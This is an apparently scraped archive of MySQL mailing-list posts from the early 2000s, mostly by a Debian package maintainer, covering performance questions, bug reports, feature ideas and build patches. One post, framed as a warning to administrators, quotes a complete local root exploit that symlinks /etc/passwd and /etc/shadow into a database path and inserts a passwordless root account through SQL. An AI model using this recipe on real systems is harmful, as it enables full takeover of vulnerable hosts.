Re: Key buffer partially unused - why

It's quite easy with regular expressions (they can be made more readable

Lots of threads in opening tables and closing tables state
Hello We have the problem that on one of our database server (Quad-Dualcore-Hyperthreading Xeon system with 8GB RAM) the database performance suddenly goes down and stays so for a while. There is no significant memory or CPU activity but the Load goes up to 200 which indicates to me that there must be many mysql threads (hidden in the process list) which are calculated in the Load value but are effectively doing nothing as CPU/RAM stays. The mysqladmin processlist output looks suspicious, *lots* of queries in the opening+closing tables state which should, according to the docs, be happen in fractions of a second. There is no visible disc activety during that time so definetly no I/O bottleneck (8GB RAM is enough to hold all data). The system is running Debian stable, further infos below.

Interesting to see was, that I could copy a table with /bin/cp still do a SELECT * from it but it, too, got emptied by a REPAIR statement. In the incompatibility list in the documentation some cases are mentioned where one has to do a REPAIR. But in which cases a repair does have such problems? Of course I did do a CHECK TABLE on all tables before upgrading, and I never used something different than latin1 nor table sizes near 4GB. All tables were checked and dumped on a regular basis without problems. After recreating them I had no further problems so far. bye, -christian- -- Christian Hammers WESTEND GmbH | Internet-Business-Provider Technik CISCO Systems Partner - Authorized Reseller Lütticher Straße 10 Tel 0241/701333-11 ch@westend.comD-52064 Aachen Fax 0241/911879 -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
mysqlcheck (not myisamchk) harmful?
Hello A user of the Debian packages that I maintain reported a problem with the mysqlcheck --all-databases --fast --quiet command that is run in the /etc/init.d/mysql script just after the server is up and running as reported by mysqladmin ping. According to all documentation that I found and the source code, mysqlcheck in opposide to myisamchk does not deal with the tables files itself which could be suspicious (e.g. with skip-locking) but just issue a CHECK TABLE xyz FAST command to the server which should be safe regardless who else does whatever to the table. Can somebody acknowledge that? Or give me a pointer what could get wrong with this approach? (BTW: I am right that as long as there are no not properly closed tables, this command should only take a few seconds even with some thousand tables?) thanks, -christian- pgpB02TTw3dZ1.pgp Description: PGP signature
Idea: Syntax help on command line
Hello
I use the mysql command line tool quite often and always wondered why
there's no feature that lets me quickly see the syntax of a FOREIGN
KEY or GRANT command. Now while browsing the source I found the
new syntax command in 4.0.12 and got the idea of implementing this
syntax help of myself.
What do you think of a client command:
mysql syntax select; (or \S or SHOW SYNTAX OF)
SELECT [STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] [HIGH_PRIORITY]
[DISTINCT | DISTINCTROW | ALL]
select_expression,...
[INTO {OUTFILE | DUMPFILE} 'file_name' export_options]
[FROM table_references
[WHERE where_definition]
[GROUP BY {unsigned_integer | col_name | formula} [ASC | DESC], ...]
[HAVING where_definition]
[ORDER BY {unsigned_integer | col_name | formula} [ASC | DESC] ,...]
[LIMIT [offset,] rows | rows OFFSET offset]
[PROCEDURE procedure_name(argument_list)]
[FOR UPDATE | LOCK IN SHARE MODE]]
Reference: 6.4.1 http://www.mysql.com/doc/en/SELECT.html
I managed to hacked a working demo in less than 10 minutes which is
simply a copy of the syntax function and which uses syntax() to pipe the
output of an arbitrary command back to mysql (of course it could be a C
function, too, but why the unnecessary burden and having it as seperate
program makes it useable standalone, too!)
This program could be a perl program which either has syntax definitions
hardcoded or, even better, is able to extract them from the docs.
A preinstalled html documentation could be prerequisite which has
two comments like !-- BEGIN SYNTAX: SELECT -- ... !-- END SYNTAX --
so that the syntax is easily extractable. Something in the kind of
cat /usr/share/doc/mysql/en/$1.html
could be enough for the first start, too.
The final stage would then be that this help command is called whenever
on presses e.g. two times tab after writing a command like a command
completition.
Any suggestions and comments?
bye,
-christian-

There is a for loop in mysql_read_default_options that loops until this function returns a NULL pointer, what never will happen. ... around line 715 in libmysql/libmysql.c ... for (end= *option ; (end= strcend(end,'_')); ) *end= '-'; ... the bugfix is straight forward to check for the char and not for the pointer: 715c715 for (end= *option ; (end= strcend(end,'_')); ) --- for (end= *option ; *(end= strcend(end,'_')); ) BTW.: the same bugfix (or correct version :-) is already in the reentrant version of the library in libmysql_r/libmysql.c Dirk - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing?

WISHLIST: auto_increment after delete
Hello MySQL developers please add a ALTER TABLE xyz eternal_auto_increment=1; that forces the auto_increment column to increment regardless of which table type I use and how I delete my columns. As long as there is a way to reset the column somehow (by setting it to -1 or so) I would find this very comfortable. At least it's horror if my column starts behaving differently if I only change the table type to get COMMIT/ROLLBACK or forget to delete with DELETE FROM xyz WHERE 1; instead of the normal DELETE FROM xyz;. (Yes I know that all is documented somewhere but still it's hard to use..) thanks, -christian- -- Christian HammersWESTEND GmbH - Aachen und Dueren Tel 0241/701333-0 [EMAIL PROTECTED] Internet Security for ProfessionalsFax 0241/911879 WESTEND ist CISCO Systems Partner - Premium Certified - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing?

Re: Bug#119076: mysql-server: signal 11

I forward this bug report to this list as it seems to be not
Debian specific. MySQL crashes with several kinds of

Agreed.
Now it crashes in a different way on two computers. Perhaps I should
open two bug reports? The same work around works for both computers
though, so I will stay here for now.

I am no longer getting Signal 11 errors but Floating point exception.
Curious.
pluto:~# mysqld
Floating point exception
perhaps I am just running it in a different way to before.
Changing nsswitch as follows:
--works--
passwd: files
group: files
--doesn't work--
passwd: files
group: files ldap
--works--
passwd: files ldap
group: files
e so password LDAP lookups are OK, but group lookups aren't?
strace shows:

hmmm maybe this is some sort of SASL bug? (I presume SASL is
getting called by LDAP).

Still crashes with a Signal 11, strace shows

Removing group LDAP lookups solves this, same as above.

please tell me what Init in processlist means
Hello I tried upgrading from MySQL-3.21.33 to 3.23.35 on an old linux host. It worked but the new mysql version was *horrible* slow. E.g. under exactly same situations I came to ca. 300 inserts/second with the old and 20 with the new version making it absolutely unusable :-( The only recognisable difference between the both was that the new mostly show | 107 | root | localhost | westend | Query | insert into channel_traffic |(timestamp, hostname, inte ... when I enter mysqladmin processlist whereas the old one mostly said | 107 | root | localhost | westend | Init | insert into channel_traffic |(timestamp, hostname, inte ... I know that a query traverses several states but it is strange that the new version takes so long in this "Init" state. As it works well on a nother host with a recent linux distribution I guess there're some problems with...something... Can anybody explain what "Init" does? thanks in advance, -christian- -- Christian HammersWESTEND GmbH - Aachen und Dueren Tel 0241/701333-0 [EMAIL PROTECTED] Internet Security for ProfessionalsFax 0241/911879 WESTEND ist CISCO Systems Partner - Premium Certified - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing?

BUG: alter table destroys symbolic links!
Hello If table xyz is a symbolic link (recommended in the manual for very big files that do not fit on a single partition) then "ALTER TABLE xyz TYPE=ISAM;" ignores this, removes the link and recreate the table on the data directory. I consider it a bug, as it is a) not what the user expects, even repair, optimise and other alter table functions do not work like this b) a user that has no shell account has no other way to alter the table type c) this can be used as a denial of service attack as mysql hangs when getting a "no space left" error message and this is a way to more around the system administrators disk-quota settings! This was tested with the latest MySQL-3.23.35 on linux (ext2 reiserfs, although this shouldn't matter in for the symlink handling) bye, -christian- -- Christian HammersWESTEND GmbH - Aachen und Dueren Tel 0241/701333-0 [EMAIL PROTECTED] Internet Security for ProfessionalsFax 0241/911879 WESTEND ist CISCO Systems Partner - Premium Certified - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing?

warning: mysql local root exploit when running as root
Hello
This one appeared on a Debian mailing list.
I know that this is fixed in the latest versions as they allow running the
server as non-root user and so it is not considered as a bug ()
but I'm sure that there're administrators out there which are not aware of
this exploiting method!
bye,
-christian-

Hi,
At first, an apology if this came by earlier, i accidentally removed quite
some debian-* mail, and i don't know of a -private archive for developers.
As seen on some mailinglist, can't remember which one:
$ cd /var/tmp
$ ln -s /etc/passwd gotcha.ISD
$ ln -s /etc/shadow make_me_r00t.ISD
$ mysql -u user -h localhost -p somepassword '../../tmp'
create table gotcha(qqq varchar(255));
create table make_me_r00t(qqq varchar(255));
insert into gotcha values('\nr00t::0:0:Hacked_Fucked_R00T:/:/bin/sh\n');
insert into make_me_r00t values('\nr00t::1:0:9:7:-1:-1:\n');
\q
Testing/unstable both have =3.23-ish, stable has 3.22-ish. testing/unstable
are not vulnerable, i didn't have a stable box at hand to try.
Anyone who has tried this on stable? In my opinion, the whole idea of being
able to specify an alternate database location to the mysql server is a
problem, and I never have seen a real use for it (correct me if i'm wrong).
I'm pondering on filing a bug against mysql-server for the whole
alternate-location thing (bugs keep popping up with stuff ranging from these
symlink tricks to stuff like 'select * from infile'-ish problems that allow
reading from any file).
Greets,
Robert

[philb@gnu.org: Bug#88186: mysql: Fails to build on ARM: char sign issue?]
Hi Hope this helps you to make mysql working on ARM architecture, too. bye, -christian- -- Christian HammersWESTEND GmbH - Aachen und Dueren Tel 0241/701333-0 [EMAIL PROTECTED] Internet Security for ProfessionalsFax 0241/911879 WESTEND ist CISCO Systems Partner - Premium Certified This isn't actually a signed-char issue. The signedness problem comes about because mysql's configure script is spuriously selecting "int" rather than "socklen_t" as SOCKET_SIZE_TYPE. The root cause is actually that the configure script tries to build things with "-g -fomit-frame-pointer -Werror". Mixing -g and -fomit-frame-pointer always elicits a "may not give sensible debugging" warning; combined with -Werror this means that every test is deemed to have failed. For ARM, the performance gain from -fomit-frame-pointer is going to be marginal anyway so the best thing to do is probably just to take it out. p. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing?

Question regarding query optimising with between
Hello I have a table with a normal multiple key on a datetime field called "end". I want to search for the number of records in some months. I know that there are none. Now "explain" tells me that a querey with a WHERE clause of end between '2001-01-01' and '2001-04-01' affects just one row whereas end '2001-01-01' affects all 705949 rows! Why this? I cannot find the docs that explain this speed enhancement. I'd even thought that a "" would be faster as it is just one check and the parser could say "every row" starting from index position X. bye, -christian- Full explain results: mysql explain select count(*) from radius0800 where ende between "2001-01-01" and "2001-04-01"; ++---+---+--+-+--+--+--- --+ | table | type | possible_keys | key | key_len | ref | rows | Extra | ++---+---+--+-+--+--+--- --+ | radius0800 | range | ende | ende | 4 | NULL |1 | where used ; Using index | ++---+---+--+-+--+--+--- --+ 1 row in set (0.00 sec) mysql explain select count(*) from radius0800 where ende "2001-01-01"; ++---+---+--+-+--++- + | table | type | possible_keys | key | key_len | ref | rows | Extra | ++---+---+--+-+--++- + | radius0800 | range | ende | ende | 4 | NULL | 705949 | where us ed; Using index | ++---+---+--+-+--++----- + 1 row in set (0.00 sec) -- Christian HammersWESTEND GmbH - Aachen und Dueren Tel 0241/701333-0 [EMAIL PROTECTED] Internet Security for ProfessionalsFax 0241/911879 WESTEND ist CISCO Systems Partner - Premium Certified - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing?

[hazelsct@mit.edu: Bug#88186: mysql: Fails to build on ARM: char sign issue?]

ARM defaults to unsigned char (as does PPC). Does a "signed" or "unsigned" need to go in front of "char" in one of these files? I'd suggest "-funsigned-char", but that can cause other problems (like the Gnucash "missing cents" bug, where signed-char's CHAR_MAX=127 was being compared to precompiled unsigned CHAR_MAX=255 in glibc).

Hello
In case this patch wasn't post here.
bye,
-christian-
Package: mysql
Version: 3.23.33-1
Severity: important
Tags: patch
Below is a patch against mysql 3.23.31 (but applies well to 3.23.33-1) for
things to work properly on Alpha. I've been applying this diff against
most of the mysql's compiled to date and it seems to work very well.
It should also handle the changes in the db3 code regarding Alpha/gcc
mutex support.

Re: MySQL 3.23.33 released
Michael, it would be very nice if you would mark security related bugs so that admins who are not subscribed on Bugtraq see them, too. This is at least the second time where I got information about security bugs in MySQL *only* via 3rd party and not from the web page nor from the changelog.

chroot strangenesses
Hi I don't understand the way mysql tries to jail itself with --chroot. If I start mysqld --chroot=/var/lib/mysql_jail then it gives me an error saying that it wasn't able to initialize the databases. When I copy the mysql database somewhere into the jail it works. But - when I modify the mysql database or create new databases then only the files outside the jail, in /var/lib/mysql/ gets modified. So why there is a need for having this mysql database copy in the jail?! TIA bye, -christian- Apropos: it would be nice if someone would incorporate the no-passwd-patch from the mailing list into the latest mysqld server so that there is no longer a need to have a /etc/passwd and libnss/libcompat in the jail. -- You know you're a nerd when your os uptime is longer than you've ever had a girlfriend.

Security patch from 3.23.31 backported to 3.22.32 !
Hello
A friendly reader of the Debian mailing lists backported the latest
security patch for the mysql version that is in Debian's last release.
I post this in case that
a) any other people rather like to patch their existing servers than
upgrade to a new major release
b) anybody finds a problem with this patch
thanks,
